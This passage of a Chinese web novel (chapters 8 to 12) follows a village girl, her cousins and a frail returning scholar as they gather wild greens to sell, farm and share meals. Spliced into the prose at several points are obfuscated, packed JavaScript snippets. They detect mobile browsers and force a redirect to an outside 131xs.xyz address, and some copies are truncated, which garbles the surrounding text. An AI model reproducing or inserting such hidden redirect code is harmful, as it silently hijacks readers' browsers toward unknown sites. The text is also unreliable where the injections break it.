卫昭也不故意卖关子,她跟镇里的一些商户做过的生意可不少,如今见老板娘这般模样,便直接道:“婶子,我们兄妹跟您谈个生意如何?” 老板娘闻言便笑:“谈什么生意?我这可就是一个小摊子。” 卫昭直言:“我们给您送荠菜,您给我们个辛苦钱,怎么样?” 如今又不是那饥荒年代,春林镇也可称得上繁华,野菜不值钱,也就是图个新鲜,而且荠菜这东西不压称,一斤能出不少,最后讨价还价,双方把价格定在了两斤三文钱,明日一大早来店里交货。 谈好了生意,卫昭三人坐不住了,背上背篓便往家赶,时间就是铜钱啊!他们仨努努力,明天挣个上百文不是问题。 8. 山间荠菜 三人一回村,就赶紧把东西给楚恒送了过去,还帮着他把一些重物都收拾好了,临走前卫昭把她从馄饨摊子那里打包回来的生馄饨递给他,嘱咐道:“你用厦子上的小炉子,坐上瓦罐煮开,点个三次水就可以吃了。” 见他们一副急匆匆的样子,楚恒有些好奇:“你们这是出了什么事?” 卫吉祥面上掩不住喜意:“昭昭在镇上跟人谈了个生意,我们一会儿准备上山去挖野荠菜,明日拿去镇上卖了。” 大煜朝经济繁华,并不抑制商业发展,他们这地界儿发展的还算不错,只是普通老百姓想找到个挣钱的法子也算不上容易,他们在城镇之中没有个落脚的地方,往往打听到一些地方招工,等到了地方,人家已经招够了,不需要人了,便只能去那些需要下苦力气的地方再碰碰运气。 挖野菜并不是什么辛苦活,即使没有这个生意他们也是需要天天挖的,如今挖了野菜还能挣钱,可不就兴奋么。 如今天色还早,拉上家里的人一起上山,道天黑之前肯定能挖不少。 楚恒是知道农家的日子的,便也不再耽误他们的时间,倒是卫昭临走了突然想起那日余爷爷的嘱咐。 余天光给楚恒把脉时曾说他有些郁结于心,要多出去走走。 卫昭便邀请他:“楚恒哥,你要不要和我们一起上山上看看?” 干活是不指望他的,说句打击人的话,她奶奶那副身板看着都比楚恒硬朗,卫昭还怕他一干活又给晕了,但医嘱还是要听的。 这人整日里也没一个笑脸,看着便不开心,再一个人这么待下去,这心里的郁结想解开可难了,不如多出去走走,这雀儿山的风景最是能让人心情开阔了。 楚恒一时间有些犹豫,回来这么些天了,他确实动过上山的念头,只是自己的身子自己知道,一直未能成行。 卫昭见他犹豫,顿时眼睛一亮,有戏啊! 她直接拍板定下:“那楚恒哥你先收拾收拾,我们回家拿东西,一会儿来你家集合啊。” 说完,不待楚恒做出反应,拉着卫吉祥和卫吉勇,唤了声三斤便跑,原本窝在院子一角晒阳光的三斤闻言摇着尾巴欢快地追了上去。 背着背篓的三个人跑不过一身轻松的大狗,三斤便一会儿在前,一会儿又跑回后面,间或是左边蹦一下,右边刨一下,抖动的毛发在阳光的照射下折射着温暖的光芒,楚恒看着看着,许是被那光芒迷了眼,眼尾微微弯起了一丝弧度。 过了不到半个时辰,一行人便出发去了雀儿山,这次为了能多挖些荠菜,他们特地又往里走了走。 这一次,樊桂花和卫大平也来了,这俩人虽然年纪大了,但干起活来依旧十分麻利,身子骨硬朗的很。 卫昭给楚恒分了一把小锄头,是她以前年纪还小时爹给她打的,这么多年她保养的可好了,挖荠菜还是这种小工具使得顺手。 不过他们这帮干惯了的就不太乐意用了,还是直接上手薅更快,遇到难薅的就拿个小铲子或者削尖的木片铲一下根。 山上的温度比起村子里来说还是有些冷的,凉凉的风吹得人不由得打着颤。 举目望去,干枯的枝丫昭示着春天还未抵达这座雀儿山,而贴服在地上的片片绿意又好似在诉说着,他走在了春的前头。或许只要再稍微等等,他与春日便能互相打个照面。 楚恒看着这一幕,有那么一瞬间突然感觉心情极好。 他想,或许是太久没有见到这种风景了吧。自他病弱之后,多年来都被精心照顾着,这种季节交替的时候最易引起风寒,他极少踏出屋子。 如今竟莫名有一种挣脱了枷锁的感受。 “楚恒哥,过来帮个忙。” 一道清脆的呼喊打断了他的回忆,楚恒顺着声音走到被大石头挡住身影的卫昭身边,便见她竟在生火?! 石头后面的地光秃秃的,看着像是早就被特意清理出来的,还挖了一个小土坑,坑边垒着一圈石头,石头的大小刚好够卫昭放一个烧水的瓦罐。 卫昭拿着火折子呼呼吹了两下,把瓦罐下面的干柴引燃,接着便给楚恒腾出了地方。 “楚恒哥你帮我看着点火,水开了就把旁边那个小布包里的干花泡进去,到时候直接停火就行了。” 楚恒的思绪还停留在上山干活不带水壶带瓦罐上,闻言便下意识应了一声:“哦。” 卫昭看着,觉得这人莫名有些呆,不由得噗嗤一笑,在对方反应过来前赶紧跑了。 家里的水壶都是自家用竹子做的,山间的午后一时比一时冷,竹筒装的水可暖不了那么长时间,是以天冷之后他们上山都是自己带着瓦罐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901515|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煮水喝。 而在不让自家孙女碰冷水上,樊桂花管控的可是非常的严,卫昭再是嫌麻烦,也拗不过自家奶奶,索性每次都花点时间给自己煮个花茶,配着山间的美景下肚,卫昭觉得自己和说书人嘴里的风流才子好像也没什么不同。 这般想着,卫昭也没那么排斥了。 山间的冷风被厚厚的石头牢牢挡住,留下这一小方安宁而温暖的天地,掺杂着偶尔干柴燃烧时的噼啪声。 干柴不多,但这漫山遍野又何处寻不见? 楚恒来回在周围转了一圈,便又捡了一大捆回来。 瓦罐里的水发出咕嘟咕嘟的闷响,楚恒折了两根粗壮的木棍,夹着盖子上的把手将盖子拿到一旁,又将一旁的布兜拿了过来,里面装着许多干花草,有炒制的茶叶,有晒干的茉莉花,还有其他晒干的野花和叶子,他不太能分辨出来。 楚恒拿着布兜想了想,最后还是把里面的东西都倒进了瓦罐里。 他虽未煮过花茶,但好歹泡过茶,这些量对比瓦罐的体积,好似也差不多。 如此,他便心安理得地任由炉子底下的余火继续咕嘟着瓦罐,茶叶和花瓣遇水舒展,随着沸腾的水起起伏伏,看着看着,他竟是入了神,直到卫昭过来叫了他一声才清醒过来。 卫昭看着只剩下一丁点火星的火堆,又看了看瓦罐中的水量,满意地点了点头,转身便朝那边还热火朝天挖着野菜的众人喊道:“奶奶,二爷爷,大伯、伯娘,吉祥哥,小勇,过来喝水了。” 茶杯是用竹筒做的,一人一个,卫昭递给了楚恒一个:“这是二爷爷去年做的一批,还没用过。” 接着她便包着瓦罐的把手给众人的杯子里倒水。这个瓦罐的样式是仿着茶壶做的,有个出水的嘴儿。 茉莉花茶的味道十分浓郁,只是闻着便不由得让人开始分泌津液,彼时才方察觉出了几分渴意。 只是楚恒的教养让他做不出在长辈来之前先喝的举动,便起身帮着卫昭将所有人的茶水都倒好。 樊桂花走近,就见到了这一幕,她并未多说什么,对二人之间的交往多有放任。 几人倚着大石头坐下,因为长时间挖荠菜而弯着的腰终于有了依靠,慢慢舒展着身子。 炉火再次被点燃,一群人说笑着家中趣事,好不热闹。 9. “饿死鬼” 待到天色暗沉,卫昭直起腰,活动几下,听到几声骨头的咔哒声,这才觉得放松不少。 荠菜已经摘了不少,一次要够那个馄饨摊子用好久,她喊了一声:“奶奶,二爷爷,大伯大娘,这些够了,天色不早了,咱们该回去了。” 忙活了一下午,肚子早就饿扁了。 哪怕楚恒干一会儿便歇一会儿,今日的劳作也比得上他平日的两三倍了,长时间弯着的腰有些酸,也有些僵,手脚亦有些发软。 下山的路上,樊桂花、卫大平、胡娟和楚恒的荠菜都被卫吉祥和卫吉勇瓜分了。 卫吉祥背了一个压的实实在在的,卫吉勇除了背着的一个,手里还提了俩没压满的。 他倒是没感觉,不过他爹好似觉得这么奴役他家小儿子不太好,踹着他大儿去接一个过来。 卫吉祥是真累的不行了,要不是靠晚上回家吃顿好饭吊着,他早就累瘫了。 他弟那是天生力气大,拎着三个还比他们所有人走得都快。 不过老爹都发话了,卫吉祥只能追上卫吉勇,接一个是不可能接的,他可以给他弟拎手里的那个背篓搭把手。 卫昭见状,本想去帮着提另外一边,没想到楚恒比她更快。 卫吉勇让了一下:“楚恒哥,我可以的,你歇着就行。” 楚恒没撒手:“无事,我现在也就能帮点这种忙了。” 这话怪让人不得劲儿的,当年村里的娃哪个不壮的跟个牛犊子似的。 卫吉祥拍了下卫吉勇的脑袋:“咋滴?你哥不用让啊?” 卫吉勇刚想揉揉脑袋,结果腾不出手,转头就叫他娘:“娘,你看我哥!” 胡娟正甩着胳膊呢,闻言看都没往他们俩那边看:“叫我干嘛?你揍他去啊。” 俩冤家儿子。 卫吉勇扭头又看向他哥,结果正对上他哥露出了一个阴恻恻的微笑。 他老老实实地抓紧背篓,一声不吭往前走。 揍他哥这件事在他能打得过卫吉祥之后他就干过,结果天生力气大的他根本干不过他哥这个黑心肝的,他可是吃够了闷亏,长够了教训。 打过了是一时爽,但后面一个月他铁定没好日子过,那还是算了吧。 说说闹闹的,时间仿佛眨眼而过。 到了山脚下,楚恒本想告辞,却不想被樊桂花一把拉住,又继续向前走:“累了一下午了,你那里冷锅冷灶的,连个热水都没有,一个人也不值当再开火做饭,跟奶奶回家,正好凑够一桌吃饭的。” 樊桂花压根不给楚恒开口拒绝的机会,面子薄的年轻人在她面前根本不是对手。 楚恒推辞不过,只能跟着一起回去。 卫昭心下暗忖,果然大家都拒绝不了长辈的热情邀请。 心里想着些有的没的,结果一打开院门,铺天盖地的“要饭”声震得她下意识呆立当场。 天塌了,家里的一群“大爷”忘记喂了。 三斤大王也被整懵了,回过神来嗷嗷地冲着院子里圈着的那群“饿死鬼”吼。 叫唤啥叫唤,你狗爷今天的晚饭还没落着吃呢! 卫昭深深地叹了口气,认命地去灶房起锅烧水,赶紧和点食儿招呼这群“大爷”。 好不容易都养活了,饿出毛病来糟蹋的还是她家的银子。 本来就干了一天活了,这群“大爷”还叫唤个不停,卫昭被吵的眼角直抽,她那一把子力气将和食的木盆敲得邦邦响:“叫叫叫,就知道叫!一天天吃这么多,过年要是不能回本,我都给你们宰了炖肉!” 被突然换了个暴躁人设的小姑娘震在原地,沉默地看着这一切的楚恒:“……要不,我来喂吧?” 卫昭狐疑地打量着他,一脸的不信任:“你会吗?” 楚恒认真思索后回道:“应该还行。” 卫昭都把东西和好了,他只需要按量去喂食,这活儿跟他整的厨房“烽烟四起”不是一个难度。 有人帮忙干活那可真是太好了,卫昭一股脑儿地把东西都给了楚恒,交代了一下每种牲畜的份量,转身又一头扎进了厨房。 做饭做饭,她今天饿的能吃下两头猪。 在猪圈里撒泼打滚老半晌终于等来了吃食的两头猪崽齐齐一个哆嗦。 咋回事儿?怎么感觉后背凉嗖嗖的呢? 时间也不早了,卫昭也没弄什么复杂的菜,她煮了一锅疙瘩汤,浇了一圈打散的鸡蛋液,又加了一把剁碎的荠菜,最后浇点酱油和香油,撒点盐出锅。 这一锅汤香的嘞…… 楚恒摸了摸自己的肚子,分食的动作不由得加快了几分。 一碟子白菜腊肉,一碟子炸好的小鱼杂,一旁的笸箩里装着几个馏好的大馒头,一人一大碗的疙瘩汤。 就着奢侈地点着的烛火,三人分坐在小方桌旁。 劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚恒啃完了一个山楂,把碗放在了樊桂花手边的一个木桩上,自己拉了一个小凳子坐下,想跟着一起收拾。 樊桂花慢慢教他:“把土甩一甩,这种发黄的叶子是冻的,不影响……” 春林镇就这么大,要想生意做得长久,偷奸耍滑可要不得。 别看这些荠菜多,真收拾起来也没用太长时间,毕竟挖的时候便注意过了,如今这属于查缺补漏。 今日的月亮分外明亮,楚恒提着一盏灯,在三斤的护送下踏上了回家的路。 路上倒影光怪陆离,三斤时不时便冲着他叫唤一声,好似在问他害不害怕。 楚恒一时失笑。 朗朗乾坤之下,人心可比鬼怪可怕多了。 10. 还我鱼! 上溪村离镇上不远,村民去镇上基本靠两条腿,家里的牛甚少动用。 卫昭家的牛这次终于派上了用场,拉着一车的荠菜往镇上去。 做生意都讲究个赶早不赶晚,顾忌着楚恒的身子,卫昭三人放弃了在天刚破晓之时骚扰一个病号的打算,斗志昂扬地进了城。 这些荠菜光是馄饨摊肯定是吃不下的,他们准备剩下的拿去经常交易的酒楼里问问。 春日已到,各家的生意变好了不少,多问几处,总能消耗掉的。 最后一共卖了一百多文。 卫吉祥宝贝地将钱揣进怀里,贴身放好。 最后,三人转个弯去了源昌货行,将专门留出来的野菜留给张家,婉拒了李荷花的留饭,鞭子一扬,牛蹄一尥,顶着中午的阳光往家赶。 昨日下山时累得都快走不动路了,今天钱一到手,一大家子人恨不得再去山上挖个百十斤。 好悬最后还有些理智,知道镇上没那么多要荠菜的。倒是可以挖一些储存下来,毕竟这种时令野菜,过了这段时间就老了。 这玩意儿也就是吃个新鲜,多了也没人要。 种地才是他们最主要的经营来源。 不管是地里的杂草,还是院子后面的菜地,都是他们接下来最主要的任务。 过了冬的小麦,在春天万物复苏之时长势喜人,一天一个样,田里多的是弯腰挥舞着锄头的身影。 除草、施肥,味道有些一言难尽,但彼时农家人的心里都是火热的期盼。 盼今年风调雨顺,盼芒种时有个好收成。 处处都充满了希望。 卫昭家地多人少,往年都是要等到卫长福一家忙完来帮她们。 这次樊桂花出面把楚恒也叫上了。 年纪轻轻的大小伙子老在家里待着不出门算怎么回事?身体不好更该出门转转。 昭昭、吉祥、吉勇兄妹几个满山遍野地跑着长大,哪个看着不比他壮实? 农家的活不太体面,但总能给他找到些体面的事情干。反正也不图他能干多少活,就是想找个机会让他多出去走走。 在老人家的认知里,真想长寿,那必不能不动。 养生嘛,就先从出门下地开始吧。 卫昭扛着已经空了的背篓走到地头,她的背篓里原本装的是草木灰。 顺手拿着背篓倒扣在地头磕了磕,卫昭一屁股在旁边坐了下去。 过了一会儿,卫吉祥和卫吉勇也晃晃悠悠地走过来了,卫昭默默地往旁边挪了挪,还把脖子上戴的布巾提上了口鼻处。 他俩播的是沤好的粪肥。 在地多肥少时,卫家基本都是一半地用草木灰,一半地用粪肥。 卫吉祥现在没力气搭理这个小没良心的,一屁股坐下,顺手把鼻子上的布巾拽了下来。 虽然每年都有这么几遭,但他们都还是有些不习惯。 毕竟这味道实在令人上头。 等活干完了,不呼吸上几天新鲜空气,就总感觉鼻子能闻到一股味儿。 三人排排坐在地头等了一会儿,终于见路上慢慢悠悠赶来了一个挑着扁担的清瘦身影。 卫昭在那一刻好似看到希望降临,太好了,水来了,她终于有救了! 楚恒一路坚持着把水给挑到了河堤下面,沿着人踩出来的缓坡慢慢上去。 河堤沿河而起,这条田间小路的南边是农家种的田地,北边隔着几棵树便是河堤,是夏日里人们纳凉的好去处,如今虽然光秃秃的,但也比现在的田地里好闻。 他找到卫家常坐的那片空地把东西放下,坐在一块石头上,微微喘着粗气,平复呼吸。 卫昭三人也没说抢着上前搭把手什么的。 虽然在卫昭看来这人身体不太好,加上人家也是给她家干活,她让着点是应该的,但是奶奶特地叮嘱过他们,楚恒要做的事就让他做完,把他当成一个和他们一样的人去看待,不能处处显摆自己能耐大,即使是出于好心。 卫昭想到了当年父母去世后的那段日子,每次出门总有人用一种很可惜又可怜的目光看着她。 那段时间她甚至被这种目光刺到不敢踏出家门,不敢见人,是奶奶说的: “只有你把自己的日子过好了,别人才不会再可怜你。” 后来,她和奶奶照样能把日子过得红火。 别人口中的“可怜”也变成了“能干”,不过卫昭却已经学会了不在意,她只用在意自己的日子就好。 卫昭眨了眨眼,收回飘远的思绪,跟着卫吉祥、卫吉勇也上了河堤,又顺着另一侧的缓坡去了河边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901517|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 初春的河边可窥见点点绿意,河水也清冽,冰凉的河水扑在脸上,沁凉心肺,鼻尖呼吸的空气好似也变得清新了几分。 河里还能看到游动的小鱼虾和田螺,河床处还能看见许多指头粗的洞,不知道里面藏着的是黄鳝还是螃蟹。 三人洗着洗着手,就开始不受控制地掏洞了。 黄鳝哎!可香嘞! 干活的人不图别的,就是馋肉。 楚恒缓了过来,就开始把扁担里的东西往外拿,一个里面装的水,一个里面装的饭,背篓倒扣过来就能当个小桌子用。 他做这些活只是走的路多些,其实不算累,还有人管他一日三餐,不用再担心厨房倒烟。 若非桂花奶奶提起,他甚至都有些想不起来自己儿时其实也有过来田间地头送饭的经历。 娘亲一手挎着给爹做好的饭,另一只手牵着他,他一路背着娘亲教的诗歌,远远看到爹的身影,诗就背不下去了,蹦跳着挥着没被牵着的那只手,喊着爹爹…… “爹,娘,吃饭啦!奶奶今天烙了葱油饼,可香啦!” 田间的小路,闪过几个奔跑的孩童,声音随风播散于旷野。 楚恒晃了下神。 扣了半天洞啥也没捞着的卫吉祥眯眼瞅着,总觉得河堤上的读书人跟他们隔着点什么。 这几天村里人都说,人家身上那股劲儿贼招人稀罕。所以他控制不住地总想多盯着他看会儿,想跟着学学,等去清荷家下聘的时候,他也表现表现。 不过吧,他砸吧砸吧嘴,人家那股忧郁劲儿,他是咋学咋不对劲儿,给他娘看见差点没拿柳条抽过来,还说他跟中邪了似的。 他反手拍了拍后面的两个人,问道:“哎,你们说,楚恒现在在想什么呢?” 问完了没见有人搭理他,卫吉祥突然觉得后背一凉,扭头一看,后面的弟弟妹妹正齐齐瞪着两双大眼睛死死地盯着他。 河面上飘着一个很眼熟的背篓。 卫昭和卫吉勇一字一顿地说道:“还、我、鱼!” 他们刚刚好不容易等到了一个大鱼,静静等着它靠近,举着背篓正准备捞呢,结果卫吉勇举过头顶的背篓被卫吉祥一巴掌拍飞了,鱼也吓跑了! 卫吉祥恍然,刚刚那个手感好像确实不是他弟弟的头哦。 11. 回忆往昔 楚恒被河边那三兄妹叽哩哇啦的声音吵回了思绪,忍不住地想,他们三个人的精力怎么这么旺盛,刚刚还一脸半死不活的样子,洗个手的功夫又开始活蹦乱跳了。 说实话,他有些羡慕。 那边卫长福和胡娟两口子也过来了,楚恒只好出声喊道:“饭摆好了。” 卫吉祥以一敌二狼狈地爬了上来,迎面就是亲爹娘的嫌弃。 胡娟道:“你又干啥了?” 一个顶他哥一个半的卫吉勇委屈告状:“娘,我哥把我的大鱼吓跑了,这么大呢。” 卫吉勇比量的有他小臂长。 这下胡娟也心疼了,这糟心儿子,也不知道这几天抽的哪门子风。 时不时就跟中邪了似的眼神飘忽面向远方摆出一副深沉样儿,还非得让她看看怎么样。 她看他是吃饱了撑的! 现在是连对吃的都不上心了。 胡娟心里盘算着是不是得给大儿子找个先生看看,别新媳妇刚娶进门,她大儿子就先出事了,那她不是丧了良心了吗? 卫吉祥越看越觉得他娘没想啥好事,想破脑袋也没想明白,自己的新娘子差点飞了! 几个人说说闹闹的,很快便收拾好,围坐在一起。 河堤之上,干净的背篓倒扣在地上当个饭桌,吃食摆在上面,一群人席地而坐,一人先捡了一个大馒头。 楚恒也是入乡随俗。 当然了,如果他不这么做的话,卫家人会轮流来让他。 中午也没什么好吃的,几口菜配着个大馒头下肚,再灌上一壶水,这简简单单的一餐就吃完了。 吃完便顺手去河边将饭碗洗刷一遍。 卫昭洗着碗,看了一眼沉默的楚恒,终是没忍住问道:“楚恒哥,你回来不开心吗?” 楚恒正甩着碗里的水,闻言动作突然顿住。 他看向卫昭,卫昭一双清澈的眸子正安静地注视着他。 平和,沉静,又有几分如桂花奶奶那般的包容。 楚恒不敢再看。 他的目光移向河对岸,聚焦在那片将绿未绿的土地上。 他摇了摇头,不知道怎么回答这个问题:“没有,只是觉得村里的变化有些大,心里有些感慨。” 他本想在人生的尽头于故地重游,却发现,更多的其实是物是人非。 这两天给卫家帮忙,来到田间地头,总能碰到一些上了年纪的人叫他的名字。 他有些记得,有些已经忘了,那时卫昭会在一旁提醒他。 他们总会跟他闲谈几句,问问村子外面的事情,他其实有些不知道怎么回答。 每当这个时候,卫昭和卫吉祥他们总会插科打诨,将话题引向别处。 次数多了,也没人再问了。 他这几日常待在河堤上,河堤不算高,却视野开阔,足以俯瞰整片田园。 或苦或累,那些弯腰劳作的人们,面上却都是带着笑的。 一幕幕的场景,其实跟他曾经做梦梦到的儿时村落有很大的出入。 他梦到爹娘跟他微笑道别,身影渐行渐远,惊醒之后,只余他一人留在孤寂的夜晚,独自回忆起那些铭刻心间的种种。 如今,那些常年如同水墨画般存在于他回忆之外的人、事、物,跳出了那些局限的背景,在他眼前跃动。 他才清醒地认知到一个事实:他其实还活着。 而回忆,终究只是回忆。 卫昭看着这样的楚恒,心里有种说不出的难过,就像当初爹娘出事时,她心中总有一处堵得令人难受。 她讨厌这种情绪,便转移了话题:“过几日忙完了要不要进山里看看?一起去打猎。” 她手下不停地洗着碗,嘴里也不停:“三斤打猎可厉害了,每次都没空过手……嘴!而且山里这么多年都没变过,你肯定能找到你想找的东西。” 就像她当初疯狂地寻找爹娘存在的证明一样。 楚云啸以前当过猎户,雀儿山是他最常去的地方。 楚恒看向忙碌的卫昭。 他没想到她能这般敏锐察觉到他内心深处的渴望。 或许是因为两人那有些相似的经历。 楚恒终是应了一声,这个提议他无法拒绝,也不想拒绝。 而他也有些好奇:“三斤为什么会叫这个名字?” “因为它刚来我家的时候,我爹给它称的,正好三斤。” 忆起这件事,卫昭忍不住笑弯了眼睛,让刚刚那有些沉闷的气氛一扫而空,“现在它可三十斤都不止了。” 话语里有些小小的嫌弃,可她的表情却完全不是那么回事。 楚恒的视线有些无法挪开。 卫昭昭还是适合这般明媚的笑。 他想。 休息一会儿,河堤上的农家人便三三两两地起身,继续去地里忙活。 楚恒便也收拾好了东西,扛起轻松了不少的扁担,沿着河堤慢慢悠悠地回家。 河堤上的路和村里是相通的,楚恒路过的第一家便是余天光的院子。 从河堤上看,能看见他家里晾晒着不少药材,院里院外有好几种果树。 楚恒突然记起,以前他们一群小孩子,好像靠着给余爷爷干活,换回过不少果子。 “小恒,想什么呢?” 熟悉的声音让他回神,楚恒望过去,就见余天光正站在院子里,背着手看他。 楚恒唤了声“余爷爷”,便顺着缓坡下了河堤,进了余家的大门。 余天光打眼一瞧就知道他这是去地里送饭了。 “你桂花奶奶让你去的?” 楚恒点点头:“这几日桂花奶奶喊我帮忙。” 余天光听了觉得挺高兴,还是人家有办法。 有楚云啸和卫远山之间的情谊在,樊桂花若是不对着这孩子搭把手,那才不是她了。 “你也别老在你那院子里呆着,多出来走动走动,对你身体有好处。” 楚恒应了一声,却没再说别的。 他这副被下了定论的孱弱身子,还会好吗? 老人家最见不得曾经活泼的孩子,现在变得一副愁眉苦脸的样子,打量了一下院子,便开始毫不客气地指挥楚恒干活。 心思重就多干活吧,累了就没功夫想些有的没的了。 “把院子里晾晒的草药都翻个面,仔细着点,别弄坏了,都是给村里人吃的……” 楚恒虽是第一次做这种活,但好在他本身就心细,加上做的慢,倒也没出什么差错。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901518|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >余天光捋了捋胡子,点点头:“不错不错,这活儿干得真细致,比村里那些个毛小子干得好多了。” 得了这般直白夸奖的楚恒倒是略有些羞赧,多少年没人跟他说过这种话了。 一时起劲儿,又被老人家忽悠着把院子打扫了一遍。 接着又给苗圃里的草药浇了水,还给余天光将院里垛的柴火搬了一些进灶房…… 等他回过神来,太阳就快要落山了。 楚恒:…… “欸!楚恒,你不会真被余爷爷忽悠着干了一下午的活计吧?” 卫吉祥在饭桌上对着楚恒发出了无情的嘲笑。 手臂十分酸爽的楚恒一时哑然,一抬头,便对上了正憋笑的卫昭。 他:…… 卫吉祥一副过来人的样子拍了拍他的肩膀:“你可长点心吧,余爷爷可会忽悠人了,他家的活基本上都是他忽悠村里人给他干的。” 卫吉祥是被忽悠最多的那个。 至于为什么这么多年过去了还会有人上当,那自然是因为余天光是周围几个村里唯一一个赤脚大夫,而且医术还算不错,给大家开的药也不贵,更别提他家还有许多种果树,那可是他每年忽悠小孩子帮他干活的“法宝”。 至于楚恒为什么会被忽悠? 卫昭想了想,觉得可以归结为“回忆也会骗人”。 这人每次都是一副回忆往昔的模样,估计只记得小时候在余爷爷家吃果子了,忘了为什么进的余爷爷的家门。 看来读书人也有不聪明的时候嘛! 卫昭又是一阵偷笑,被对面坐着的主人翁抓包了,更是明目张胆地笑了起来。 桌上的大人倒是替楚恒说了几句打抱不平的话,不过听着却并不怎么走心,面上还一副要笑不笑的样子。 楚恒心里一时难言,想他在京中坑了那般多的大人物,结果回村不过几日就被忽悠成了这样,若是被那几位损友知道了,指定要笑上他三天三夜。 可这般的“算计”,却是无关生死,只余茶余饭后的笑料。 若是忽略身体上忙碌后的酸楚,楚恒竟意外觉得,还算不错。 幸好他没有当众说出来,不然,卫吉祥定要把手伸到他额头上试探一下他是不是累病了,怎么小小年纪净说胡话。 那时,卫昭和卫吉勇这两个应声虫,定要在一旁跟着狠狠点头。 怕小伙子脸皮薄,樊桂花任他们说笑了一阵便转移了话题:“明日一早我去屠户家里割点肉,晌午都来家里吃饭,这几日大家都累得不轻,好好给肚子里来点油水。” 胡娟道:“伯娘,你这么客气做什么,我们做这些都是应该的,家里这几日的饭食可都不差,还破费什么?” 这话也不错,中午在地里将就一顿,晚上这顿可真没少过肉。再一家人来吃人家一顿,她觉得有点亏心。 樊桂花:“就按我说的办,都记得来吃饭就行了。” 见胡娟还想再说些什么,樊桂花摆摆手,笑着说她:“好了,就这样吧!你这当娘的不心疼儿子,我这个做奶奶的心疼孙子孙女还不行啊?” 胡娟爽朗一笑:“得,我这个‘后娘’就不拦着您老做好人了。” 樊桂花点了点她:“你这嘴巴还真是不饶人。” 12. 有来有往 上溪村里是有屠户的,原也是卫家本家人,本名卫三河,在家里排行老三,人称卫老三,卫昭她们这些小辈唤他一声卫三叔。 一大早,天际才刚刚浮出一道明黄的光线,卫昭便溜达到了屠户家门口,喊道:“卫三叔,我要三斤上好的五花肉。” 一旁跟着的三斤疑惑地冲她“汪”了一声。 卫昭呼噜了两下狗头:“不是叫你。” 屠户家门洞打开,一家人正忙碌着把杀好的猪肉装车,拉去镇上的摊子上去卖,一部分给预定了的酒楼送去。 “是昭昭来了啊。” 卫三叔笑着应了一声,那副笑眯眯的富态模样让卫昭十分羡慕。 卫三河家的人个个富态,是村里人最羡慕的一家了。 卫昭进了院子挨个叫完人,便笑着道:“这几日地里忙活的差不多了,奶奶让我来割几斤肉,请大家吃个饭。” 不然一般人家谁也没那个钱一口气割三斤大肉。 卫三婶喊着卫昭进了家里专门放肉的厢房,卫昭挑了块上好的五花,比量了一下,卫三婶手起刀落,三斤一斤不差。 卫昭利索地付好钱就想走人,临走时到底是又被卫三河家塞了几根大骨头。 卫三河家原本不是做屠户生意的,刚开始入这行时根本争不过镇上那些老生意,后来是卫昭的爹娘早年跟酒楼有些生意往来,给他牵线搭桥过,生意这才渐渐稳定下来,是以每次卫昭家来买肉,或多或少总能得些实惠。 卫昭刚开始面子薄,后来也看开了,就像奶奶说的: “你觉得不好意思占便宜,故意疏远人家,换去别的摊子买肉,这样做人家心里就舒服了?平日里村子里其他人买肉,他家也是要实惠一些的,偏咱们家啥也不要,那才是真不好了。 “两家人本就是互帮互助,亲戚邻里间,有往才有来。” 将肉扣在灶台上,卫昭挑起扁担,又开始一趟趟地打水。 等奶奶醒了,便可以烧水和食喂食生灵。 忙忙碌碌间,太阳很快便升的老高。 阳光洒满大地,今日又是一个大晴天。 卫昭背好背篓,准备去河边收笼子,就听见隔壁正对着自家招鸡斗狗的小子雷声大雨点小地骂骂咧咧的梨花嫂子突然收了音,还特意清了清嗓子,放轻了声音喊了句:“秀才公来了啊。” 卫昭禁不住一乐,可真是稀罕了,自从梨花嫂子家的丰宝会说话起,这位梨花嫂子可是嗓门被她那越来越会顶嘴的儿子练的越来越大了,何时听她这般轻声慢语过。 她出去时就听楚恒道:“嫂子唤我名字便可。” 那文绉绉的模样登时给梨花嫂子弄得都快不会说话了。 见卫昭来了,她连忙找个借口转身回家了,连跑远了的小崽子都忘记去追了。 去河边的路上,卫昭一路都是憋不住地笑。 楚恒无奈了:“有这么好笑吗?” 卫昭连连点头,说道:“当然了,我可很少见梨花嫂子这个样子。” 看来还是读书人魅力大。 她禁不住多瞅了楚恒几眼,把楚恒整得心里有些发毛,问道:“我身上有什么问题吗?” 卫昭摇摇头,问他:“你知道梨花嫂子为什么对你这么客气吗?” 这下轮到楚恒摇头了:“不知。” 他要是知道,也不至于这几日二人总是碰到时打招呼,总有几分尴尬在其中蔓延。 